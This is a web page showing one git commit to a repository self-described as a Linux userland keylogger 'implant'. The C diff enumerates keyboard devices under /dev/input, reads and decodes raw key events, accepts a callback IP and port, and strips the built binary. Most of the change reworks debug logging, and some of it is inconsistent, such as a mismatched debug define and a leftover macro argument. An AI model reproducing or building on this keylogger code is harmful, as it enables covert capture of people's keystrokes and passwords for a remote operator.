mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 02bc1735c28a544958bd0b52014a80ca5d20faa1
parent 7a49195729829ba193304adc4f78f20aaefe8cef
Author: winds0r <[email protected]>
Date: Mon, 5 Jun 2023 15:29:05 +0900

fix(implant): reworking DEBUG mode so that it sucks less now, makefile can generate a `debug` binary using `make debug` that will automatically have the tracings enabled...very fancy i guess

Diffstat:
Mimplant/.gitignore | 2+-
Mimplant/Makefile | 35++++++++++++++++++++++++++---------
Mimplant/includes/implant.h | 14++++++--------
Mimplant/sources/keyboard.c | 42+++++++++++++++++++++++-------------------
Mimplant/sources/logger.c | 63+++++++++++++++++++++++++++++----------------------------------
Mimplant/sources/main.c | 4+++-
Mimplant/sources/opt.c | 8++------
Mimplant/sources/utils.c | 21+++++++++++++++------

8 files changed, 105 insertions(+), 84 deletions(-)

diff --git a/implant/.gitignore b/implant/.gitignore
@@ -1,4 +1,4 @@
-k3yl0gg3r
+implant
 objects/
 *.o
 *gcno
diff --git a/implant/Makefile b/implant/Makefile
@@ -8,8 +8,17 @@ RM			 	= rm -rf
 
 INCLUDES 	 	= -I./includes/
 LINK_FLAG    	= -lxkbcommon
-CFLAGS 		 	= -Wall -Wextra -O2 -fPIC -Weverything
-CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-unused-command-line-argument
+
+
+CFLAGS 			= -Wno-unused-command-line-argument -fPIC
+
+ifeq ($(MAKECMDGOALS), debug)
+	CFLAGS 			+= -g -g3 -DDebug
+else
+	CFLAGS 		 	+= -fPIC -Wall -Wextra -O2 -Weverything -Wno-padded -Wno-gnu-zero-variadic-macro-arguments
+endif
+
+
 PATTERN 	 	= .c
 OBJPATTERN  	= .o
 SRC_DIR 		= ./sources
@@ -27,31 +36,39 @@ SRC 		 	= opt.c utils.c keyboard.c logger.c
 COMBINED		= $(SRC) $(MAIN)
 OBJ 	 		= $(patsubst %$(PATTERN), $(OBJECT_DIR)/%$(OBJPATTERN), $(COMBINED))
 
-all: directories $(NAME)
+
+.PHONY: all
+all: directories $(NAME) ## generate PROD binary (you might have to run make fclean before)
+
+.PHONY: debug
+debug: directories $(NAME) ## generate DEBUG binary (you might have to run make fclean before)
+
 
 $(OBJECT_DIR):
-	@mkdir -p $@
+	@mkdir -pv $@
 
 directories: | $(OBJECT_DIR)
 
 $(OBJECT_DIR)/%$(OBJPATTERN) : %$(PATTERN)
-	@$(CC) -o $@ -c $< $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
+	@$(CC) -o $@ -c $< $(CFLAGS) $(PROD_FLAGS) $(INCLUDES) $(LINK_FLAG)
 	@echo "Compiling $@"
 
 $(NAME): $(OBJ)
-	@$(CC) -o $(NAME) $^ $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
+	@$(CC) -o $(NAME) $^ $(CFLAGS) $(PROD_FLAGS) $(INCLUDES) $(LINK_FLAG)
 	@echo "[*** COMPILATION SUCCESSFUL ***]"
 	@strip --strip-all $(NAME)
 	@echo "[*** BINARY STRIP DONE ***]"
 
-clean:
+.PHONY: clean
+clean:  ## removes object files
 	@$(RM) objects
 
-fclean: clean
+.PHONY: fclean
+fclean: clean  ## removes all compilation artifacts
 	@$(RM) $(NAME)
 	@echo "[*** CLEAN ***]"
 
+.PHONY: re  ## cleans everything and rebuild PROD binary
 re: fclean all
 
-.PHONY: all clean fclean re
 
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -5,9 +5,6 @@
 /*
     TODO:
 
-    1. get current local /etc/default/keyboard &
-    translate it manually using struct input_event
-
     2. cleanup select handling so that it doesn't suck massive balls
 
     3. add support for TLS communications / some kind of enc.
@@ -22,6 +19,10 @@
 #include <stdint.h>
 #include <sys/queue.h>
 
+/*
+    represents whatever data is currently logged for a single keyboard
+    also holds its file descriptor
+*/
 typedef struct keyboard_s keyboard_t;
 struct keyboard_s {
     int fd;
@@ -60,13 +61,10 @@ typedef struct implant_s {
 
 #include <stdio.h> /* necessary for the dprintf in the macro */
 
-
 #ifndef DEBUG_LOG
-#define DEBUG_LOG(flag, s, ...) \
+#define DEBUG_LOG(s, ...) \
     do { \
-        if (flag != 0) { \
-            dprintf(2, s, ##__VA_ARGS__); dprintf(2, "\n"); \
-        } \
+        dprintf(2, s, ##__VA_ARGS__); dprintf(2, "\n"); \
     } while (0)
 #endif
 
diff --git a/implant/sources/keyboard.c b/implant/sources/keyboard.c
@@ -52,10 +52,10 @@ void fetch_available_keyboards(implant_t *instance) {
     );
 
     if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "could not find possible keyboard paths"
-        );
+
+#ifdef DEBUG
+        DEBUG_LOG("could not find possible keyboard paths");
+#endif
 
         return;
     }
@@ -66,11 +66,14 @@ void fetch_available_keyboards(implant_t *instance) {
     char rpath[2048] = {0};
     for (int ctr = -1; ++ctr < possible_paths;) {
         if (!realpath(char_devices[ctr]->d_name, rpath)) {
+
+#ifdef DEBUG
             DEBUG_LOG(
                 instance->debug_enabled,
                 "[!] Could not run realpath(%s): %s",
                 char_devices[ctr]->d_name, strerror(errno)
             );
+#endif
 
             continue;
         }
@@ -78,10 +81,10 @@ void fetch_available_keyboards(implant_t *instance) {
 
         keyboard_t *kbd = malloc(sizeof(keyboard_t));
         if (!kbd) {
-            DEBUG_LOG(
-                instance->debug_enabled,
-                "[!] allocate memory for keyboard_t"
-            );
+
+#ifdef DEBUG
+            DEBUG_LOG("[!] allocate memory for keyboard_t");
+#endif
 
             continue;
         }
@@ -89,11 +92,10 @@ void fetch_available_keyboards(implant_t *instance) {
 
         kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
         if (kbd->fd < 0) {
-            DEBUG_LOG(
-                instance->debug_enabled,
-                "[!] Could not open %s: %s",
-                rpath, strerror(errno)
-            );
+
+#ifdef DEBUG
+            DEBUG_LOG("[!] Could not open %s: %s", rpath, strerror(errno));
+#endif
 
             continue;
         }
@@ -116,11 +118,10 @@ static int parse_locale(char const *locale_fpath, implant_t *instance) {
 
     char **tab = tabgen(buffer, '\n');
     if (!tab) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "Could not split buffer contents: %s",
-            buffer
-        );
+
+#ifdef DEBUG
+        DEBUG_LOG("[!] Could not split buffer contents: %s", buffer);
+#endif
 
         free(buffer);
         return ERROR;
@@ -138,7 +139,10 @@ static int parse_locale(char const *locale_fpath, implant_t *instance) {
         }
     }
 
-    DEBUG_LOG(instance->debug_enabled, "\n[!] Could not retrieve locale from %s", buffer);
+#ifdef DEBUG
+    DEBUG_LOG("\n[!] Could not retrieve locale from %s", buffer);
+#endif
+
     free_tab((uint8_t **)tab);
     free(buffer);
     return ERROR;
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -33,11 +33,10 @@ static int log_keyboard(int fd, implant_t *instance, struct xkb_state *state) {
 
     ssize_t bytes_read = read(fd, &evt, sizeof(evt));
     if (bytes_read != sizeof(evt)) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "[!] read() error: %s",
-            strerror(errno)
-        );
+
+#ifdef DEBUG
+        DEBUG_LOG("[!] read() error: %s", strerror(errno));
+#endif
 
         return ERROR;
     }
@@ -67,10 +66,11 @@ void keylog(implant_t *instance) {
     int status = 0;
 
     if (highest_fd < 0) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "[!] no keyboard found. exiting"
-        );
+
+#ifdef DEBUG
+        DEBUG_LOG("[!] no keyboard found. exiting");
+#endif
+
         return;
     }
 
@@ -88,11 +88,10 @@ void keylog(implant_t *instance) {
 
     context = xkb_context_new(0);
     if (!context) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "[!] error with xkb_context_new(): %s",
-            strerror(errno)
-        );
+
+#ifdef DEBUG
+        DEBUG_LOG("[!] error with xkb_context_new(): %s", strerror(errno));
+#endif
 
         return;
 
@@ -100,22 +99,20 @@ void keylog(implant_t *instance) {
 
     keymap = xkb_keymap_new_from_names(context, NULL, 0);
     if (!keymap) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "[!] error with xkb_keymap_new_from_names(): %s",
-            strerror(errno)
-        );
+
+#ifdef DEBUG
+        DEBUG_LOG("[!] error with xkb_keymap_new_from_names(): %s", strerror(errno));
+#endif
 
         goto LOG_FUNCTION_CLEANUP;
     }
 
     state = xkb_state_new(keymap);
     if (!state) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "[!] error with xkb_state_new(): %s",
-            strerror(errno)
-        );
+
+#ifdef DEBUG
+        DEBUG_LOG("[!] error with xkb_state_new(): %s", strerror(errno));
+#endif
 
         goto LOG_FUNCTION_CLEANUP;
     }
@@ -134,11 +131,10 @@ void keylog(implant_t *instance) {
         /* check if a key has been pressed */
         status = select(highest_fd + 1, &rd, NULL, &err, (instance->debug_enabled) ? &(struct timeval){1, 0}: NULL);
         if (status < 0) {
-            DEBUG_LOG(
-                instance->debug_enabled,
-                "[!] select error: %s",
-                strerror(errno)
-            );
+
+#ifdef DEBUG
+            DEBUG_LOG("[!] select error: %s", strerror(errno));
+#endif
 
             goto LOG_FUNCTION_CLEANUP;
         }
@@ -147,11 +143,10 @@ void keylog(implant_t *instance) {
         it = NULL;
         TAILQ_FOREACH(it, &instance->kbd, devices) {
             if (FD_ISSET(it->fd, &err)) {
-                DEBUG_LOG(
-                    instance->debug_enabled,
-                    "[!] Error on file descriptor %d",
-                    it->fd
-                );
+
+#ifdef DEBUG
+                DEBUG_LOG("[!] Error on file descriptor %d", it->fd);
+#endif
 
                 /* keyboard has been un-plugged, let's continue */
                 close(it->fd);
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -14,11 +14,13 @@ int main(int ac, char **av) {
         return 1;
 
     get_locale(&instance);
+
+#ifdef DEBUG
     DEBUG_LOG(
-        instance.debug_enabled,
         "[*] Implant settings:\n\tIP:%s\n\tPort:%d\n\tlocale:%s",
         instance.ip, instance.port, instance.locale
     );
+#endif
 
     fetch_available_keyboards(&instance);
     keylog(&instance);
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -12,7 +12,7 @@
 #include "implant.h"
 
 static void help_mode(char const *binary_path) {
-    printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n\t-d\tEnable debug trace\n", binary_path);
+    printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n", binary_path);
 }
 
 
@@ -20,7 +20,7 @@ int parse_user_input(int ac, char **av, implant_t *settings) {
     int c = 0;
 
     do {
-        c = getopt(ac, av, "i:p:dh");
+        c = getopt(ac, av, "i:p:h");
         switch (c) {
             case 'i':
                 /* we got an IP address */
@@ -32,10 +32,6 @@ int parse_user_input(int ac, char **av, implant_t *settings) {
                  settings->port = (unsigned short)strtoul(optarg, NULL, 0);
                  break;
 
-            case 'd':
-                 settings->debug_enabled = 1;
-                 break;
-
             case 'h':
                  help_mode(av[0]);
                  exit(0);
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -31,14 +31,18 @@ int read_file(char const *path, char **buffer, implant_t *instance) {
 
     int fd = open(path, O_RDONLY);
     if (0 > fd) {
-        DEBUG_LOG(instance->debug_enabled, "Could not open %s: %s", path, strerror(errno));
+#ifdef DEBUG
+        DEBUG_LOG("Could not open %s: %s", path, strerror(errno));
+#endif
         return ERROR;
     }
 
      // could use fseek but stat is posix so let's use that
     struct stat st;
     if (0 > fstat(fd, &st)) {
-        DEBUG_LOG(instance->debug_enabled, "Could not call fstat on %s: %s", path, strerror(errno));
+#ifdef DEBUG
+        DEBUG_LOG("Could not call fstat on %s: %s", path, strerror(errno));
+#endif
         return ERROR;
     }
 
@@ -46,20 +50,25 @@ int read_file(char const *path, char **buffer, implant_t *instance) {
 
     *buffer = malloc(sizeof(char) * (filesize + 1));
     if (!buffer || !(*buffer)) {
-        DEBUG_LOG(instance->debug_enabled, "Could not allocate memory for %s: %s", path, strerror(errno));
+#ifdef DEBUG
+        DEBUG_LOG("Could not allocate memory for %s: %s", path, strerror(errno));
+#endif
         return ERROR;
     }
 
     ssize_t bytes = read(fd, *buffer, filesize);
     if (bytes != st.st_size) {
+#ifdef DEBUG
         DEBUG_LOG(
-            instance->debug_enabled,
-            "[!] Should have read %ld bytes but read %ld (filepath: %s)",
+                "[!] Should have read %ld bytes but read %ld (filepath: %s)",
             st.st_size, bytes, path
         );
+#endif
 
         if (bytes < 0) {
-            DEBUG_LOG(instance->debug_enabled, "read: %s", strerror(errno));
+#ifdef DEBUG
+            DEBUG_LOG("read: %s", strerror(errno));
+#endif
             return ERROR;
         }
     }